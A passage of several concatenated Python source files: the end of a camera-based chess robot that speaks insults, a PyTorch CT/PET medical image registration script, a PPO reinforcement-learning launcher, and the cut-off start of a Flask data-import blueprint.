chess.getBoard().has_queenside_castling_rights(chess.getTeam('white')): insults.illegalPlayInsult() insults.play(insults.createNewRecording('you don\'t have queenside castling rights poop')) display.forceChangeTurn('white') return False if piece_1['type'] == "rooks": piece_tracker[piece_1['side']][piece_1['type']][piece_1['n']] = 32 piece_tracker[piece_2['side']][piece_2['type']][piece_2['n']] = 40 if piece_1['type'] == "king": piece_tracker[piece_1['side']][piece_1['type']][piece_1['n']] = 40 piece_tracker[piece_2['side']][piece_2['type']][piece_2['n']] = 32 chess.makeUCIMove("e1", "c1") print("### CALC BLACK'S MOVE ###") engine_mv = chess.makeEngineMove() frm_piece = {} if chess.getBoard().is_castling(engine_mv.move) or (chess.getBoard().is_queenside_castling(engine_mv.move) or chess.getBoard().is_kingside_castling(engine_mv.move)) or (chess.getLetterDistance(chess.uciToSplit(engine_mv)[0], chess.uciToSplit(engine_mv)[1]) == 2 and utils.split(str(engine_mv.move))[0] == "e" and piece_tracker['black']['king'][0] == 31): print("Engine castled") kingside_rook = getPieceByCoord(7) queenside_rook = getPieceByCoord(63) if chess.getBoard().is_kingside_castling(engine_mv.move) or (chess.getUnchangedLetterDistance(chess.uciToSplit(engine_mv)[0], chess.uciToSplit(engine_mv)[1]) < 0): piece_tracker['black']['rooks'][kingside_rook['n']] = 23 piece_tracker['black']['king'][0] = 15 else: piece_tracker['black']['rooks'][queenside_rook['n']] = 39 piece_tracker['black']['king'][0] = 47 frm_piece = { 'type': "rook and king", 'side': 'black', 'n': 1 } else: move = chess.uciToSplit(engine_mv) print("Generated move from engine: " + str(move)) frm = chess.chessCoordToGridN(move[0]) to = chess.chessCoordToGridN(move[1]) print("From " + str(frm) + " to " + str(to) + " (Grid Numbers)") frm_piece = getPieceByCoord(frm) print(str(frm_piece), str(frm), str(to)) #Check if there is a piece already at that spot, if so, 'remove' it. if getPieceByCoord(to)['n'] > -1: piece = getPieceByCoord(to) piece_tracker[piece['side']][piece['type']][int(piece['n'])] = -15331462 #Update the piece tracker to black's move piece_tracker[frm_piece['side']][frm_piece['type']][int(frm_piece['n'])] = to try: insults.moveInsult(frm_piece['type'], move[0], move[1]) except: insults.play(insults.createNewRecording("i think i castled bitch. 480")) display.changeTurn() print("### BLACK TURN FINISH ###") else: insults.illegalPlayInsult() display.forceChangeTurn("white") return False if len(missing) == 1: grid_from = missing[0] grid_to = getPieceInNewSlot(yellow_contours) print("Missing: " + str(missing)) print("To: " + str(grid_to)) mightBeTaken = False if len(grid_to) == 1: grid_to = grid_to[0] if grid_to == 36: print("grid_to is acting weird again.") grid_to = [grid_to] mightBeTaken = True elif len(grid_to) > 1: #For some reason 36 keeps getting picked up?? idk why for gt in grid_to: if gt != 36: grid_to = gt missing_piece = getPieceByCoord(grid_from) try: if grid_to == None or len(grid_to) == 0 or mightBeTaken: print("Took a piece.") coord = chess.gridNToChessCoord(piece_tracker[missing_piece['side']][missing_piece['type']][int(missing_piece['n'])]) if grid_to == None or len(grid_to) == 0: grid_to = [] else: grid_to[0] = chess.gridNToChessCoord(grid_to[0]) for move in list(chess.board.legal_moves): splt = chess.uciSplitStr(move) if splt[0] == coord: grid_to.append(splt[1]) display.choices = grid_to insults.choosePieceInsult() return False except: print("not a take") if chess.isPossibleMove(grid_from, grid_to): piece_tracker[missing_piece['side']][missing_piece['type']][int(missing_piece['n'])] = grid_to print("Moved " + missing_piece['side'] + " on the " + missing_piece['type'] + " side to " + str(grid_to) + " from " + str(grid_from)) chess.makeMove(grid_from, grid_to) print("Made move on board.") engine_mv = chess.makeEngineMove() frm_piece = {} if chess.getBoard().is_castling(engine_mv.move) or (chess.getBoard().is_queenside_castling(engine_mv.move) or chess.getBoard().is_kingside_castling(engine_mv.move)) or (chess.getLetterDistance(chess.uciToSplit(engine_mv)[0], chess.uciToSplit(engine_mv)[1]) == 2 and utils.split(str(engine_mv.move))[0] == "e" and piece_tracker['black']['king'][0] == 31): print("Engine castled") kingside_rook = getPieceByCoord(7) queenside_rook = getPieceByCoord(63) if chess.getBoard().is_kingside_castling(engine_mv.move) or (chess.getUnchangedLetterDistance(chess.uciToSplit(engine_mv)[0], chess.uciToSplit(engine_mv)[1]) < 0): piece_tracker['black']['rooks'][kingside_rook['n']] = 23 piece_tracker['black']['king'][0] = 15 else: piece_tracker['black']['rooks'][queenside_rook['n']] = 39 piece_tracker['black']['king'][0] = 47 frm_piece = { 'type': "rook and king", 'side': "black", 'n': 1 } else: move = chess.uciToSplit(engine_mv) print("Generated move from engine: " + str(move)) frm = chess.chessCoordToGridN(move[0]) to = chess.chessCoordToGridN(move[1]) print("From " + str(frm) + " to " + str(to) + " (Grid Numbers)") frm_piece = getPieceByCoord(frm) print(str(frm_piece), str(frm), str(to)) #Check if there is a piece already at that spot, if so, 'remove' it. if getPieceByCoord(to)['n'] > -1: piece = getPieceByCoord(to) piece_tracker[piece['side']][piece['type']][int(piece['n'])] = -15331462 #Update the piece tracker to black's move piece_tracker[frm_piece['side']][frm_piece['type']][int(frm_piece['n'])] = to try: insults.moveInsult(frm_piece['type'], move[0], move[1]) except: insults.play(insults.createNewRecording("i think i castled bitch, 530")) display.changeTurn() print("### FINISHED BLACK'S TURN ###") else: insults.illegalPlayInsult() display.forceChangeTurn('white') if display.justChose(): choice = display.getChoice() missing = getMissingPieces(yellow_contours) grid_to = chess.chessCoordToGridN(choice) if len(missing) > 1: #Insult -> illegal moves. print("More than 1 piece moved, illegal.") insults.illegalPlayInsult() display.forceChangeTurn("white") if len(missing) == 1: grid_from = missing[0] print("Missing: " + str(missing)) print("To: " + str(grid_to)) missing_piece = getPieceByCoord(grid_from) if chess.isPossibleMove(grid_from, grid_to): piece_at_place = getPieceByCoord(grid_to) piece_tracker[piece_at_place['side']][piece_at_place['type']][int(piece_at_place['n'])] = -595013859 #idk random number piece_tracker[missing_piece['side']][missing_piece['type']][int(missing_piece['n'])] = grid_to print("Moved " + missing_piece['side'] + " on the " + missing_piece['type'] + " side to " + str(grid_to) + " from " + str(grid_from)) chess.makeMove(grid_from, grid_to) print("Made move on board.") print("### CALC BLACK'S MOVE ###") engine_mv = chess.makeEngineMove() frm_piece = {} #Check if the board is castling if chess.getBoard().is_castling(engine_mv.move): print("Engine castled") kingside_rook = getPieceByCoord(7) queenside_rook = getPieceByCoord(63) if chess.getBoard().is_kingside_castling(engine_mv.move): piece_tracker['black']['rooks'][kingside_rook['n']] = 23 piece_tracker['black']['king'][0] = 15 else: piece_tracker['black']['rooks'][queenside_rook['n']] = 39 piece_tracker['black']['king'][0] = 47 frm_piece = { 'type': "rook and king", 'side': "black", 'n': 1 } else: #if not, just do the turn. move = chess.uciToSplit(engine_mv) print("Generated move from engine: " + str(move)) frm = chess.chessCoordToGridN(move[0]) to = chess.chessCoordToGridN(move[1]) print("From " + str(frm) + " to " + str(to) + " (Grid Numbers)") frm_piece = getPieceByCoord(frm) if getPieceByCoord(to)['n'] > -1: piece = getPieceByCoord(to) piece_tracker[piece['side']][piece['type']][int(piece['n'])] = -15331462 #print(str(frm_piece), str(frm), str(to)) piece_tracker[frm_piece['side']][frm_piece['type']][int(frm_piece['n'])] = to try: insults.moveInsult(frm_piece['type'], move[0], move[1]) except: insults.play(insults.createNewRecording("i think i castled bitch, 618")) display.changeTurn() print("### FINISH BLACK'S MOVE ###") else: insults.illegalPlayInsult() display.forceChangeTurn('white') #if q is pressed, stop the program. if cv2.waitKey(1) & 0xFF == ord('q'): return True display.setBoard(piece_tracker) return False def subMain(): #pretty much the most important line of code in this program time.sleep(1) res = True while res: res = not main() finish() #Release the camera and close the windows. def finish(): cap.release() cv2.destroyAllWindows() if __name__ == "__main__": #Setup board chess.resetBoard() print("Reset the board.") #Do threading stuff thread = threading.Thread(target=display.launchApp) thread.start() subMain() print("Started tasks. Launching the app soon.")
one_plus_one_torch.py
# /****************************************** # *MIT License # * # *Copyright (c) [2021] [Eleonora D'Arnese, Emanuele Del Sozzo, Davide Conficconi, Marco Domenico Santambrogio] # * # *Permission is hereby granted, free of charge, to any person obtaining a copy # *of this software and associated documentation files (the "Software"), to deal # *in the Software without restriction, including without limitation the rights # *to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # *copies of the Software, and to permit persons to whom the Software is # *furnished to do so, subject to the following conditions: # * # *The above copyright notice and this permission notice shall be included in all # *copies or substantial portions of the Software. # * # *THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # *IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # *FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # *AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # *LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # *OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # *SOFTWARE. # ******************************************/ import os import pydicom import cv2 import numpy as np import math import glob import time import pandas as pd from torch.multiprocessing import Pool, Process, set_start_method import struct import statistics import argparse import kornia import torch m_Gaussfaze=1 m_Gausssave=np.zeros((1,8*128)) m_GScale=1.0/30000000.0 compute_metric = None precompute_metric = None device = "cpu" ref_vals = None move_data = None def no_transfer(input_data): return input_data def to_cuda(input_data): return input_data.cuda(non_blocking=True) def my_squared_hist2d_t(sample, bins, smin, smax): D, N = sample.shape edges = torch.linspace(smin, smax, bins + 1, device=device) nbin = edges.shape[0] + 1 # Compute the bin number each sample falls into. Ncount = D*[None] for i in range(D): Ncount[i] = torch.searchsorted(edges, sample[i, :], right=True) # Using digitize, values that fall on an edge are put in the right bin. # For the rightmost bin, we want values equal to the right edge to be # counted in the last bin, and not as an outlier. for i in range(D): # Find which points are on the rightmost edge. on_edge = (sample[i, :] == edges[-1]) # Shift these points one bin to the left. Ncount[i][on_edge] -= 1 # Compute the sample indices in the flattened histogram matrix. xy = Ncount[0]*nbin+Ncount[1] # Compute the number of repetitions in xy and assign it to the hist = torch.bincount(xy, None, minlength=nbin*nbin) # Shape into a proper matrix hist = hist.reshape((nbin, nbin)) hist = hist.float() # Remove outliers (indices 0 and -1 for each dimension). hist = hist[1:-1,1:-1] return hist def precompute_mutual_information(Ref_uint8_ravel): href = torch.histc(Ref_uint8_ravel, bins=256) href /= Ref_uint8_ravel.numel() href=href[href>0.000000000000001] eref=(torch.sum(href*(torch.log2(href))))*-1 return eref def mutual_information(Ref_uint8_ravel, Flt_uint8_ravel, eref): if(device == "cuda"): ref_vals = torch.ones(Ref_uint8_ravel.numel(), dtype=torch.int, device=device) idx_joint = torch.stack((Ref_uint8_ravel, Flt_uint8_ravel)).long() j_h_init = torch.sparse.IntTensor(idx_joint, ref_vals, torch.Size([hist_dim, hist_dim])).to_dense()/Ref_uint8_ravel.numel() else: idx_joint = torch.stack((Ref_uint8_ravel, Flt_uint8_ravel)) j_h_init = my_squared_hist2d_t(idx_joint, hist_dim, 0, 255)/Ref_uint8_ravel.numel() j_h = j_h_init[j_h_init>0.000000000000001] entropy=(torch.sum(j_h*(torch.log2(j_h))))*-1 hflt=torch.sum(j_h_init,axis=0) hflt=hflt[hflt>0.000000000000001] eflt=(torch.sum(hflt*(torch.log2(hflt))))*-1 mutualinfo=eref+eflt-entropy return(mutualinfo) def precompute_cross_correlation(Ref_uint8_ravel): return torch.sum(Ref_uint8_ravel * Ref_uint8_ravel) def cross_correlation(Ref_uint8_ravel, Flt_uint8_ravel, cc_ref): cc_ref_flt = torch.sum(Ref_uint8_ravel * Flt_uint8_ravel) cc_flt = torch.sum(Flt_uint8_ravel * Flt_uint8_ravel) return - cc_ref_flt/torch.sqrt(cc_ref*cc_flt) def precompute_mean_squared_error(Ref_uint8_ravel): pass def mean_squared_error(Ref_uint8_ravel, Flt_uint8_ravel, mse_ref): return torch.sum((Ref_uint8_ravel - Flt_uint8_ravel)**2) def to_matrix_blocked(vector_params): mat_params=torch.empty((2,3)) mat_params[0][2]=vector_params[0] mat_params[1][2]=vector_params[1] if vector_params[2] > 1 or vector_params[2] < -1: mat_params[0][0]=1 #cos_teta mat_params[1][1]=1 #cos_teta mat_params[0][1]=0 mat_params[1][0]=0 else: mat_params[0][0]=vector_params[2] #cos_teta mat_params[1][1]=vector_params[2] #cos_teta mat_params[0][1]=torch.sqrt(1-(vector_params[2]**2)) mat_params[1][0]=-mat_params[0][1] return (mat_params) def compute_moments(img): moments = torch.empty(6, device=device) l = torch.arange(img.shape[0], device=device) moments[0] = torch.sum(img) # m00 moments[1] = torch.sum(img * l) # m10 moments[2] = torch.sum(img * (l**2)) # m20 moments[3] = torch.sum(img * l.reshape((img.shape[0], 1)) ) # m01 moments[4] = torch.sum(img * (l.reshape((img.shape[0], 1)))**2 ) # m02 moments[5] = torch.sum(img * l * l.reshape((img.shape[0], 1))) # m11 return moments def estimate_initial(Ref_uint8, Flt_uint8, params): #print("ESTIMATE INITIAL") #ref_mom =cv2.moments(Ref_uint8.numpy()) #flt_mom = cv2.moments(Flt_uint8.numpy()) ref_mom = compute_moments(Ref_uint8) flt_mom = compute_moments(Flt_uint8) flt_avg_10 = flt_mom[1]/flt_mom[0] flt_avg_01 = flt_mom[3]/flt_mom[0] flt_mu_20 = (flt_mom[2]/flt_mom[0]*1.0)-(flt_avg_10*flt_avg_10) flt_mu_02 = (flt_mom[4]/flt_mom[0]*1.0)-(flt_avg_01*flt_avg_01) flt_mu_11 = (flt_mom[5]/flt_mom[0]*1.0)-(flt_avg_01*flt_avg_10) ref_avg_10 = ref_mom[1]/ref_mom[0] ref_avg_01 = ref_mom[3]/ref_mom[0] ref_mu_20 = (ref_mom[2]/ref_mom[0]*1.0)-(ref_avg_10*ref_avg_10) ref_mu_02 = (ref_mom[4]/ref_mom[0]*1.0)-(ref_avg_01*ref_avg_01) ref_mu_11 = (ref_mom[5]/ref_mom[0]*1.0)-(ref_avg_01*ref_avg_10) params[0][2] = ref_mom[1]/ref_mom[0]-flt_mom[1]/flt_mom[0] params[1][2] = ref_mom[3]/ref_mom[0] - flt_mom[3]/flt_mom[0] rho_flt=0.5*torch.atan((2.0*flt_mu_11)/(flt_mu_20-flt_mu_02)) rho_ref=0.5*torch.atan((2.0*ref_mu_11)/(ref_mu_20-ref_mu_02)) delta_rho=rho_ref-rho_flt roundness=(flt_mom[2]/flt_mom[0]) / (flt_mom[4]/flt_mom[0]) if math.fabs(roundness-1.0)>=0.3: params[0][0]= torch.cos(delta_rho) params[0][1] = -torch.sin(delta_rho) params[1][0] = torch.sin(delta_rho) params[1][1] = torch.cos(delta_rho) else: params[0][0]= 1.0 params[0][1] = 0.0 params[1][0] = 0.0 params[1][1] = 1.0 return (params) def NormalVariateGenerator(): global m_Gaussfaze,m_Gausssave,m_GScale m_Gaussfaze = m_Gaussfaze-1 if (m_Gaussfaze): return m_GScale * m_Gausssave[m_Gaussfaze]; else: return FastNorm(); def SignedShiftXOR(x): uirs = np.uint32(x); c=np.int32((uirs << 1) ^ 333556017) if np.int32(x <= 0) else np.int32(uirs << 1) return c def FastNorm(): m_Scale = 30000000.0 m_Rscale = 1.0 / m_Scale m_Rcons = 1.0 / (2.0 * 1024.0 * 1024.0 * 1024.0) m_ELEN = 7 #LEN must be 2 ** ELEN m_LEN = 128 m_LMASK = (4 * (m_LEN - 1)) m_TLEN = (8 * m_LEN) m_Vec1 = np.zeros(m_TLEN) m_Lseed = 12345 m_Irs = 12345 m_GScale = m_Rscale fake = 1.0 + 0.125 / m_TLEN m_Chic2 = np.sqrt(2.0 * m_TLEN - fake * fake) / fake m_Chic1 = fake * np.sqrt(0.5 / m_TLEN) m_ActualRSD = 0.0 inc = 0 mask = 0 m_Nslew = 0 if (not(m_Nslew & 0xFF)): if (m_Nslew & 0xFFFF): pass else: ts = 0.0 p = 0 while(True): while(True): m_Lseed = np.int32(69069 * np.int64(m_Lseed) + 33331) m_Irs = np.int64(SignedShiftXOR(m_Irs)) r = np.int32((m_Irs)+ np.int64(m_Lseed)) tx = m_Rcons * r m_Lseed = np.int32(69069 * np.int64(m_Lseed) + 33331) m_Irs = np.int64(SignedShiftXOR(m_Irs)) r = np.int32((m_Irs) + np.int64(m_Lseed)) ty = m_Rcons * r tr = tx * tx + ty * ty if ((tr <= 1.0) and (tr >= 0.1)): break m_Lseed = np.int32(69069 * np.int64(m_Lseed) + 33331) m_Irs = np.int64(SignedShiftXOR(m_Irs)) r = np.int32((m_Irs) + np.int64(m_Lseed)) if (r < 0): r = ~r tz = -2.0 * np.log((r + 0.5) * m_Rcons) ts += tz; tz = np.sqrt(tz / tr); m_Vec1[p] = (int)(m_Scale * tx * tz); p=p+1 m_Vec1[p] = (int)(m_Scale * ty * tz); p=p+1 if (p >= m_TLEN): break ts = m_TLEN / ts tr = np.sqrt(ts) for p in range(0, m_TLEN): tx = m_Vec1[p] * tr m_Vec1[p]= int(tx - 0.5) if int(tx < 0.0) else int(tx + 0.5) ts = 0.0 for p in range(0,m_TLEN): tx = m_Vec1[p] ts += (tx * tx) ts = np.sqrt(ts / (m_Scale * m_Scale * m_TLEN)) m_ActualRSD = 1.0 / ts m_Nslew=m_Nslew+1 global m_Gaussfaze m_Gaussfaze = m_TLEN - 1 m_Lseed = np.int32(69069 * np.int64(m_Lseed) + 33331) m_Irs = np.int64(SignedShiftXOR(m_Irs)) t = np.int32((m_Irs) + np.int64(m_Lseed)) if (t < 0): t = ~t t = t >> (29 - 2 * m_ELEN) skew = (m_LEN - 1) & t t = t >> m_ELEN skew = 4 * skew stride = int((m_LEN / 2 - 1)) & t t = t >> (m_ELEN - 1) stride = 8 * stride + 4 mtype = t & 3 stype = m_Nslew & 3 if(stype==1): inc = 1 mask = m_LMASK pa = m_Vec1[4 * m_LEN] pa_idx = 4 * m_LEN pb = m_Vec1[4 * m_LEN + m_LEN] pb_idx = 4 * m_LEN + m_LEN pc = m_Vec1[4 * m_LEN + 2 * m_LEN] pc_idx = 4 * m_LEN + 2 * m_LEN pd = m_Vec1[4 * m_LEN + 3 * m_LEN] pd_idx = 4 * m_LEN + 3 * m_LEN p0 = m_Vec1[0] p0_idx = 0 global m_Gausssave m_Gausssave = m_Vec1 i = m_LEN pb = m_Vec1[4 * m_LEN + m_LEN + (inc * (m_LEN - 1))] pb_idx = 4 * m_LEN + m_LEN + (inc * (m_LEN - 1)) while(True): skew = (skew + stride) & mask pe = m_Vec1[skew] pe_idx = skew p = -m_Vec1[pa_idx] q = m_Vec1[pb_idx] r = m_Vec1[pc_idx] s = -m_Vec1[pd_idx] t = int(p + q + r + s) >> 1 p = t - p q = t - q r = t - r s = t - s t = m_Vec1[pe_idx] m_Vec1[pe_idx] = p pe = m_Vec1[skew+inc] pe_idx = skew+inc p = -m_Vec1[pe_idx] m_Vec1[pe_idx] = q pe = m_Vec1[skew + 2 * inc] pe_idx = skew + 2 * inc q = -m_Vec1[pe_idx] m_Vec1[pe_idx] = r pe = m_Vec1[skew + 3 * inc] pe_idx = skew + 3 * inc r = m_Vec1[pe_idx] m_Vec1[pe_idx] = s s = int(p + q + r + t) >> 1 m_Vec1[pa_idx] = s - p pa = m_Vec1[pa_idx + inc] pa_idx = pa_idx + inc m_Vec1[pb_idx] = s - t pb = m_Vec1[pb_idx - inc] pb_idx = pb_idx - inc m_Vec1[pc_idx] = s - q pc = m_Vec1[pc_idx + inc] pc_idx = pc_idx + inc m_Vec1[pd_idx] = s - r if(i==1): break else: pd = m_Vec1[pd_idx + inc] pd_idx = pd_idx + inc i=i-1 if (i==0): break ts = m_Chic1 * (m_Chic2 + m_GScale * m_Vec1[m_TLEN - 1]) m_GScale = m_Rscale * ts * m_ActualRSD return (m_GScale * m_Vec1[0]) else: print("Error") else: return 10 def transform(image, par): tmp_img = image.reshape((1, 1, *image.shape)).float() t_par = torch.unsqueeze(par, dim=0) img_warped = kornia.geometry.warp_affine(tmp_img, t_par, mode="nearest", dsize=(tmp_img.shape[2], tmp_img.shape[3])) return img_warped def compute_mi(ref_img, flt_img, t_mat, eref): flt_warped = transform(flt_img, t_mat) mi = mutual_information(ref_img, flt_warped.ravel(), eref) return -(mi.cpu()) def compute_cc(ref_img, flt_img, t_mat, cc_ref): flt_warped = transform(flt_img, t_mat) cc = cross_correlation(ref_img, flt_warped.ravel(), cc_ref) return cc.cpu() def compute_mse(ref_img, flt_img, t_mat, mse_ref): flt_warped = transform(flt_img, t_mat) mse = mean_squared_error(ref_img, flt_warped.ravel(), mse_ref) return mse.cpu() def OnePlusOne(Ref_uint8_ravel, Flt_uint8, eref, parent): parent_cpu = parent.cpu() m_CatchGetValueException = False m_MetricWorstPossibleValue = 0 m_Maximize = False m_Epsilon = 1.5e-4 m_Initialized = False m_GrowthFactor = 1.05 m_ShrinkFactor = torch.pow(m_GrowthFactor, torch.tensor(-0.25)) m_InitialRadius = 1.01 m_MaximumIteration = 100 m_Stop = False m_CurrentCost = 0 m_CurrentIteration = 0 m_FrobeniusNorm = 0.0 spaceDimension = 3 A = torch.eye(spaceDimension)*m_InitialRadius f_norm = torch.zeros(spaceDimension) child = torch.empty(spaceDimension) delta = torch.empty(spaceDimension) pvalue = compute_metric(Ref_uint8_ravel, Flt_uint8, parent, eref) parentPosition = torch.tensor([parent_cpu[0][2],parent_cpu[1][2],parent_cpu[0][0]]) childPosition = torch.empty(spaceDimension) m_CurrentIteration = 0; for i in range (0,m_MaximumIteration): m_CurrentIteration=m_CurrentIteration+1 for j in range (0, spaceDimension): f_norm[j]= NormalVariateGenerator() delta = A.matmul(f_norm)#A * f_norm child = parentPosition + delta childPosition = to_matrix_blocked(child) cvalue = compute_metric(Ref_uint8_ravel, Flt_uint8, move_data(childPosition), eref) adjust = m_ShrinkFactor if(m_Maximize): if(cvalue > pvalue): pvalue = cvalue child, parentPosition = parentPosition, child adjust = m_GrowthFactor else: pass else: if(cvalue < pvalue): pvalue = cvalue child, parentPosition = parentPosition, child adjust = m_GrowthFactor else: pass m_CurrentCost = pvalue m_FrobeniusNorm = torch.norm(A) # 'fro' if(m_FrobeniusNorm <= m_Epsilon): break alpha = ((adjust - 1.0) / torch.dot(f_norm, f_norm)) for c in range(0, spaceDimension): for r in range(0,spaceDimension): A[r][c] += alpha * delta[r] * f_norm[c]; return (parentPosition) def save_data(OUT_STAK, name, res_path): for i in range(len(OUT_STAK)): b=name[i].split('/') c=b.pop() d=c.split('.') cv2.imwrite(os.path.join(res_path, d[0][0:2]+str(int(d[0][2:5]))+'.png'), kornia.tensor_to_image(OUT_STAK[i].cpu().byte())) #Creare cartelle def register_images(Ref_uint8, Flt_uint8): parent = torch.empty((2,3), device=device) estimate_initial(Ref_uint8, Flt_uint8, parent) Ref_uint8_ravel = Ref_uint8.ravel().double() eref = precompute_metric(Ref_uint8_ravel) optimal_params = OnePlusOne(Ref_uint8_ravel, Flt_uint8, eref, parent) params_trans=to_matrix_blocked(optimal_params) flt_transform = transform(Flt_uint8, move_data(params_trans)) return (flt_transform) def compute(CT, PET, name, curr_res, t_id, patient_id): final_img=[] times=[] t = 0.0 it_time = 0.0 hist_dim = 256 dim = 512 global ref_vals ref_vals = torch.ones(dim*dim, dtype=torch.int, device=device) global move_data move_data = no_transfer if device=="cpu" else to_cuda for c,ij in enumerate(zip(CT, PET)): i = ij[0] j = ij[1] ref = pydicom.dcmread(i) Ref_img = torch.tensor(ref.pixel_array.astype(np.int16), dtype=torch.int16, device=device) Ref_img[Ref_img==-2000]=1 flt = pydicom.dcmread(j) Flt_img = torch.tensor(flt.pixel_array.astype(np.int16), dtype=torch.int16, device=device) Ref_img = (Ref_img - Ref_img.min())/(Ref_img.max() - Ref_img.min())*255 Ref_uint8 = Ref_img.round().type(torch.uint8) Flt_img = (Flt_img - Flt_img.min())/(Flt_img.max() - Flt_img.min())*255 Flt_uint8 = Flt_img.round().type(torch.uint8) start_time = time.time() f_img = register_images(Ref_uint8, Flt_uint8) end_time= time.time() final_img.append(f_img.cpu()) it_time = (end_time - start_time) times.append(it_time) t=t+it_time df = pd.DataFrame([t, np.mean(times), np.std(times)],columns=['Test'+str(patient_id)])#+str(config)accel_id.get_config())]) times_df = pd.DataFrame(times,columns=['Test'+str(patient_id)])#+str(config)accel_id.get_config())]) df_path = os.path.join(curr_res,'Time_powll_%02d.csv' % (t_id)) times_df_path = os.path.join(curr_res,'Img_powll_%02d.csv' % (t_id)) df.to_csv(df_path, index=False) times_df.to_csv(times_df_path, index=False) save_data(final_img,PET,curr_res) def compute_wrapper(args, num_threads=1): config=args.config for k in range(args.offset, args.patient): pool = [] curr_prefix = args.prefix+str(k) curr_ct = os.path.join(curr_prefix,args.ct_path) curr_pet = os.path.join(curr_prefix,args.pet_path) curr_res = os.path.join("",args.res_path) os.makedirs(curr_res,exist_ok=True) CT=glob.glob(curr_ct+'/*dcm') PET=glob.glob(curr_pet+'/*dcm') PET.sort() CT.sort() assert len(CT) == len(PET) images_per_thread = len(CT) // num_threads print(images_per_thread) for i in range(num_threads): start = images_per_thread * i end = images_per_thread * (i + 1) if i < num_threads - 1 else len(CT) name = "t%02d" % (i) pool.append(Process(target=compute, args=(CT[start:end], PET[start:end], name, curr_res, i, k))) for t in pool: t.start() for t in pool: t.join() hist_dim = 256 dim = 512 def main(): parser = argparse.ArgumentParser(description='Iron software for IR onto a python env') parser.add_argument("-pt", "--patient", nargs='?', help='Number of the patient to analyze', default=1, type=int) parser.add_argument("-o", "--offset", nargs='?', help='Starting patient to analyze', default=0, type=int) parser.add_argument("-cp", "--ct_path", nargs='?', help='Path of the CT Images', default='./') parser.add_argument("-pp", "--pet_path", nargs='?', help='Path of the PET Images', default='./') parser.add_argument("-rp", "--res_path", nargs='?', help='Path of the Results', default='./') parser.add_argument("-t", "--thread_number", nargs='?', help='Number of // threads', default=1, type=int) parser.add_argument("-px", "--prefix", nargs='?', help='prefix Path of patients folder', default='./') parser.add_argument("-im", "--image_dimension", nargs='?', help='Target images dimensions', default=512, type=int) parser.add_argument("-c", "--config", nargs='?', help='prefix Path of patients folder', default='./') parser.add_argument("-mtr", "--metric", nargs='?', help='Metric accelerator to be tested', choices=['MI', 'CC', 'MSE'], default='MI') parser.add_argument("-dvc", "--device", nargs='?', help='Target device', choices=['cpu', 'cuda'], default='cpu') args = parser.parse_args() num_threads=args.thread_number patient_number=args.patient print(args.config) print(args) global compute_metric, precompute_metric if args.metric == "MI": compute_metric = compute_mi precompute_metric = precompute_mutual_information elif args.metric == "CC": compute_metric = compute_cc precompute_metric = precompute_cross_correlation elif args.metric == "MSE": compute_metric = compute_mse precompute_metric = precompute_mean_squared_error else: print("Unsupported metric!") exit() global device device = args.device compute_wrapper(args, num_threads) print("Faber (1+1) python is at the end :)") if __name__== "__main__": main()
main.py
import argparse import os import sys import gym import torch import torch.optim as optim import torch.multiprocessing as mp import torch.nn as nn import torch.nn.functional as F from model import Model, Shared_grad_buffers, Shared_obs_stats from train import train from test import test from chief import chief from utils import TrafficLight, Counter class Params(): def __init__(self): self.batch_size = 1000 self.lr = 1e-3 self.gamma = 0.99 self.gae_param = 0.95 self.clip = 0.2 self.ent_coeff = 0.05 self.num_epoch = 10 self.num_steps = 1000 self.exploration_size = 1000 self.num_processes = 5 self.update_treshold = self.num_processes - 1 self.max_episode_length = 1000 self.seed = 1 # self.env_name = 'InvertedPendulum-v1' #self.env_name = 'Reacher-v1' self.env_name = 'Pendulum-v0' #self.env_name = 'Hopper-v1' #self.env_name = 'Ant-v1' #self.env_name = 'Humanoid-v1' #self.env_name = 'HalfCheetah-v1' if __name__ == '__main__': os.environ['OMP_NUM_THREADS'] = '1' params = Params() torch.manual_seed(params.seed) env = gym.make(params.env_name) num_inputs = env.observation_space.shape[0] num_outputs = env.action_space.shape[0] traffic_light = TrafficLight() counter = Counter() shared_model = Model(num_inputs, num_outputs) shared_model.share_memory() shared_grad_buffers = Shared_grad_buffers(shared_model) #shared_grad_buffers.share_memory() shared_obs_stats = Shared_obs_stats(num_inputs) #shared_obs_stats.share_memory() optimizer = optim.Adam(shared_model.parameters(), lr=params.lr) test_n = torch.Tensor([0]) test_n.share_memory_() processes = [] p = mp.Process(target=test, args=(params.num_processes, params, shared_model, shared_obs_stats, test_n)) p.start() processes.append(p) p = mp.Process(target=chief, args=(params.num_processes, params, traffic_light, counter, shared_model, shared_grad_buffers, optimizer)) p.start() processes.append(p) for rank in range(0, params.num_processes): p = mp.Process(target=train, args=(rank, params, traffic_light, counter, shared_model, shared_grad_buffers, shared_obs_stats, test_n)) p.start() processes.append(p) # for p in processes: # p.join()
data_import.py
from flask import Blueprint, jsonify, request, send_file, session, Response from tsx.util import next_path, local_iso_datetime from tsx.api.util import db_session, get_user, get_roles from tsx.api.upload import get_upload_path, get_upload_name from tsx.importer import Importer from tsx.config import data_dir from tsx.db import User, Source, get_session, DataImport, DataProcessingNotes, t_user_source import logging import os from threading import Thread, Lock import json import traceback from shutil import rmtree import time from tsx.api.validation import * from tsx.api.permissions import permitted from queue import Queue import subprocess from tsx.api.util import log bp = Blueprint('data_import', __name__) imports_path = data_dir("imports") running_imports = {} # Holds information about running imports lock = Lock() # Used to sync data between import thread and main thread def update_import_statuses_after_restart(): db_session.execute("""UPDATE data_import SET status_id = (SELECT id FROM data_import_status WHERE code = 'checked_error') WHERE status_id = (SELECT id FROM data_import_status WHERE code = 'checking')""") db_session.execute("""UPDATE data_import SET status_id = (SELECT id FROM data_import_status WHERE code = 'import_error') WHERE status_id = (SELECT id FROM data_import_status WHERE code = 'importing')""") db_session.commit() update_import_statuses_after_restart() @bp.route('/data_sources', methods = ['GET']) def get_sources(): user = get_user() if not permitted(user, 'list', 'source'): return "Not authorized", 401 db_session.execute("SET time_zone = '+00:00'") print(user.id) rows = db_session.execute( 